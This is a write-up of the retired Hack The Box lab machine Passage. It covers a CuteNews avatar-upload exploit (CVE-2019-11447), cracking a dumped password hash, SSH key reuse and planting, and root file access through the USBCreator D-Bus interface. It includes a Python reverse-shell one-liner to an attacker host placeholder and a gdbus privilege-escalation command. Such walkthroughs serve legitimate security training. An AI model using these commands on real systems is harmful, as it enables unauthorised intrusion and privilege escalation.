HTB Write-up | Passage

Write-up for Passage, a retired HTB machine.

HTB Write-up | Passage
Retired machine can be found here.

Scanning

~ nmap -sV -sC passage.htb

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA)
|   256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA)
|_  256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Passage News

This one is pretty straightforward:

  • SSH on port 22;
  • an Apache web server on port 80.

The website was apparently developed using CuteNews, a PHP-based news management system. All of the articles look like "Lorem Ipsum" except for the first one:

In fact, all article IDs between 8 and 11 redirect to this article about the implementation of "Fail2Ban".

The article's author is called admin. Their profile link shows us an interesting email: nadav@passage.htb.

Looking at the other articles we find the name of 3 other authors:

  • Sid Meier
  • Kim Swift
  • James

Exploiting CuteNews vulnerabilities

After doing a quick search for vulnerabilities on version 2.1.2., I found CVE-2019-11447:

(...) An attacker can infiltrate the server through the avatar upload process in the profile area via the avatar_file field to index.php?mod=main&opt=personal.
There is no effective control of $imgsize in /core/modules/dashboard.php. The header content of a file can be changed and the control can be bypassed for code execution. (An attacker can use the GIF header for this.) [Source]

I didn't event have to do any work for this one, since I found a working exploit.

~ python3 cutenews.py

Enter the URL> http://passage.htb
================================================================
Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN
================================================================
7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc
================================================================

=============================
Registering a users
=============================
[+] Registration successful with username: ieQ5Hpbxxd and password: ieQ5Hpbxxd

=======================================================
Sending Payload
=======================================================
signature_key: 372b3c37331c51a3d8b0913162391f60-ieQ5Hpbxxd
signature_dsi: 1b2359d409dd82293a1dcea4c28a824b
logged in user: ieQ5Hpbxxd
============================
Dropping to a SHELL
============================

command >

Et voilà! We got a shell! Let's upgrade it.

/usr/bin/python -c 'import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[ATTACKERS_IP]",[ATTACKERS_PORT]));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Getting User

It looks like we have 2 users on this machine: nadav and paul.

ls -la /home/
...
drwxr-x--- 17 nadav nadav 4096 Sep 22 03:13 nadav
drwxr-x--- 16 paul  paul  4096 Sep  2 07:18 paul

Let's try to crack the hashes we collected on the previous step:

7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1
4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88
e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd
f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca
4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc

Using a SHA-256 "online decrypter" we immediately find a match for the 3rd one: atlanta1.  Let's see if I can use it with one of the known users:

www-data@passage:/var/www/html/CuteNews/uploads$ su - paul
su - paul
Password: atlanta1

paul@passage:~$ cat user.txt
03a499ddd51ad76b6e774d536068dcf3

Second user was a flash. It seems like we can use a private key stored in paul's .ssh directory to authenticate as nadav:

paul@passage:~/.ssh$ ls -la
total 24
drwxr-xr-x  2 paul paul 4096 Jul 21 10:43 .
drwxr-x--- 17 paul paul 4096 Nov  8 04:55 ..
-rw-r--r--  1 paul paul  948 Nov  8 04:52 authorized_keys
-rw-------  1 paul paul 1679 Jul 21 10:43 id_rsa
-rw-r--r--  1 paul paul  395 Jul 21 10:43 id_rsa.pub
-rw-r--r--  1 paul paul 1312 Jul 21 10:44 known_hosts

paul@passage:~/.ssh$ ssh -i id_rsa nadav@passage.htb
Last login: Mon Aug 31 15:07:54 2020 from 127.0.0.1
nadav@passage:~$

Let's set up public key authentication on nadav's account directly:

nadav@passage:~/.ssh$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/dTPIIPRFgRuu8I2qZ/1T6nvmR0T9Z0K627aKq9tWov1MntZGPes6gwzOtMwT2BhnBemGoSaTrquwgOMhALLdeGiFoJKG+kyazLn4NZSe6JNuhqP2E51f0vlBAqHxBMf651ddLs1tVHfhGJH95hw54DDyKXLQFjSQl3jc133HQnH9TIwm/v0xk/3aQUa5tvxfdKD4MpaoYKfV5gqA2yoOjqEImmvzsau0MpJn094eWHNJBU+w0sz8X2+b5tCwHCJajdL1GTcD5rOGke1e5lzUwklAH4m2HJkIw1MFhTuzY1LZbAsa5eSn41O9UeSct9RplocLo1DOHltoc/TReH2ODdb0b9oeEHIYRrMNY65OXAAz9gMA5dyUL2cEfo4O/oQVIJ7SLV2D8g3/FDgBaX1k2zp0ON7UyW3Oh9BBM2oKffiL7hN9X2ltjj3tcuzhh4qR2spOPIMwpUyS1aJnyh7+LNvaQ4QqSZR6TTzkBSS13nKRnEwPzbh6HFlfuaTSQJ0=' >> /.ssh/authorized_keys

Now we can simply SSH as nadav:

~ ssh -i id_rsa nadav@passage.htb
Last login: Sun Nov  8 04:56:41 2020 from 127.0.0.1
nadav@passage:~$

Getting root

After not getting anything of relevance from the normal enumeration process, I turned to some local files to try and find some clues:

nadav@passage:~$ cat .viminfo
...

# hlsearch on (H) or off (h):
~h
# Last Substitute Search Pattern:
~MSle0~&AdminIdentities=unix-group:root

# Last Substitute String:
$AdminIdentities=unix-group:sudo

# Command Line History (newest to oldest):
:wq
:%s/AdminIdentities=unix-group:root/AdminIdentities=unix-group:sudo/g

# Search String History (newest to oldest):
? AdminIdentities=unix-group:root

# Expression History (newest to oldest):

# Input Line History (newest to oldest):

# Input Line History (newest to oldest):

# Registers:

# File marks:
'0  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
'1  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# Jumplist (newest first):
-'  12  7  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  1  0  /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  2  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
-'  1  0  /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

# History of marks within files (newest to oldest):

> /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
	"	12	7

> /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
	"	2	0
	.	2	0
	+	2	0

So it seems like nadav has replaced AdminIdentities=unix-group:root with AdminIdentities=unix-group:sudo, in a couple of files:

  • /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
  • /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf

This is very interesting because nadav belongs to the sudoer group.

After looking around for some priv esc vulnerabilities related to USBCreator I stumbled upon this article:

A vulnerability in the USBCreator D-Bus interface allows an attacker with access to a user in the sudoer group to bypass the password security policy imposed by the sudo program. The vulnerability allows an attacker to overwrite arbitrary files with arbitrary content, as root – without supplying a password. [Source]

Following that article, I used gdbus to copy the flag from its original location to an accessible directory and then read the accessible file:

~ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /root/root.txt /tmp/flag.txt true
()

~ cat /tmp/flag.txt